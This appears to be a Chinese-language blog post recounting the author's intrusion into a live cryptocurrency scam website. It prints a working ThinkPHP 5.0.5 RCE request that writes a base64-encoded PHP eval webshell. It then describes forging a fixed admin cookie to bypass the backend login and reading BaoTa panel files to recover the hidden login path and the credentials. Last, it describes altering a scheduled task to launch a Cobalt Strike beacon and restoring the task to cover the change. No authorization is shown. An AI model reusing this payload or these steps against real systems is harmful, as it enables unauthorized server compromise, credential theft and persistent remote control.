最近偶然发现一个虚拟货币买涨跌的杀猪盘,遂进行了一波测试,前台长这样。
为thinkphp5.0.5随用RCE进行打入,成功写入webshell。
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))
查看发现phpinfo信息发现已经禁用所有能够执行系统命令的函数,且com和dl加载都不能用无法执行相应的系统命令如下所示:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open //php如上系统命令都已禁用
但有文件的读写权限没有禁用assert(),file_put_contents()等函数,查看后发现为windows系统如下所示:
由于php执行系统命令的函数都被禁用了,从而导致无法执行系统命令很难受。之后下载了他的网站源码简单看了一波,发现其管理员cookie固定且可以伪造如下所示看着像后门:
故可后台登录绕过,管理员cookie固定,添加cookie字段即可登录绕过。浏览器f12,在cookie中添加上述键值访问index,即可成功后台登录如下所示好多钱(被骗的人好多):
前台询问客服了解到转账账户(该杀猪盘运作方式是用户将钱打入客服提供的账号后,用户再在自己的账号冲入相应数值的资金至后台审核,审核后即可使用该数值的钱进行货币的涨跌投资买卖交易),留作证据上交:
由于之前一直无法执行系统命令,想要突破一下就开始翻他服务器上的文件,翻阅系统文件发现存在宝塔的文件夹,探测发现确实开放8888端口存在宝塔服务但默认登录入口已被修改,如下所示:
翻阅宝塔文件发现存储路径的文件名admin_path.pl,如下所示:
找到宝塔登录入口,成功访问该登录入口,如下所示:
继续翻阅发现一个default.pl的文件,该文件中存放的是相应的登录密码:
拿到密码尝试了默认用户名发现不对不能登录,继续翻文件default.db文件是记录登录记录的找到登录账号:
利用账号密码成功登录宝塔管理后台,如下所示:
利用账号密码成功登录宝塔管理后台,如下所示:
找到定时任务处修改计划任务执行cs上线马,上线后在将计划任务改回如下所示:
cs成功上线如下所示:
查看ip仅有公网地址无内网,同C段还有其他几台部署的都是同一套东西就不在往下搞了:
总的就这样,没啥东西比较无味。